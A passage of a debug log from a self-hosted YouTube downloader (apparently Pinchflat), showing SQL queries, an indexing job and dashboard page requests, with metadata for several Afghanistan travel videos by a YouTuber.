"/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 20:01:03.291 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.291 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 20:01:03.292 [debug] QUERY OK source="media_items" db=0.6ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "39debd37-e4b1-4ddf-801f-d29ecec36805", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 20:01:03.292 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.293 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-24 16:01:41Z], 3] 20:01:03.294 [debug] QUERY OK source="media_items" db=0.8ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "3af6d9a0-ee61-4620-b099-d4c82eee5561", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", 20, "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, false, false, 3, [], 98, ~U[2025-10-24 16:01:41Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, 3, ~U[2025-10-24 16:01:41Z]] 20:01:03.294 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], 3] 20:01:03.295 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 20:01:03.296 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 20:01:03.296 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 20:01:03.297 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17086, 3, ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z]] 20:01:03.297 [info] {"args":{"id":3},"id":17083,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":34882587,"event":"job:stop","queue_time":966775,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:01:17.939 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:47.941 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.219 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:02:17.943 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:25.962 [info] GET / 20:02:25.962 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:02:25.963 [debug] QUERY OK source="settings" db=0.1ms idle=402.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:25.963 [debug] QUERY OK source="media_profiles" db=0.1ms idle=180.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:02:25.963 [debug] QUERY OK source="sources" db=0.1ms idle=181.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:02:25.965 [debug] QUERY OK source="media_items" db=1.3ms idle=181.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:02:25.965 [debug] QUERY OK source="media_items" db=0.5ms idle=182.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:02:25.966 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:25.966 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:25.967 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:25.967 [debug] QUERY OK source="tasks" db=0.1ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:02:25.968 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:02:25.968 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:02:25.969 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 20:02:25.972 [debug] QUERY OK source="media_items" db=1.9ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:02:25.973 [debug] QUERY OK source="media_items" db=0.8ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:02:25.973 [info] Sent 200 in 11ms 20:02:47.945 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:53.237 [info] GET /sources 20:02:53.237 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 20:02:53.237 [debug] QUERY OK source="settings" db=0.1ms idle=1455.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:53.238 [debug] QUERY OK source="settings" db=0.0ms idle=1455.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:53.238 [debug] QUERY OK source="settings" db=0.1ms idle=1455.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:53.239 [debug] QUERY OK source="settings" db=0.1ms idle=1456.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:53.239 [debug] QUERY OK source="settings" db=0.1ms idle=638.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:53.241 [debug] QUERY OK source="sources" db=1.8ms idle=1.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:02:53.244 [debug] QUERY OK source="sources" db=2.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:02:53.245 [info] Sent 200 in 8ms 20:02:55.088 [info] GET /media_profiles 20:02:55.088 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 20:02:55.089 [debug] QUERY OK source="media_profiles" db=0.2ms idle=484.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 20:02:55.089 [debug] QUERY OK source="settings" db=0.1ms idle=306.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:55.089 [debug] QUERY OK source="settings" db=0.1ms idle=307.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:02:55.090 [debug] QUERY OK source="settings" db=0.1ms idle=307.7ms SELECT s0."id", s0."onboarding", 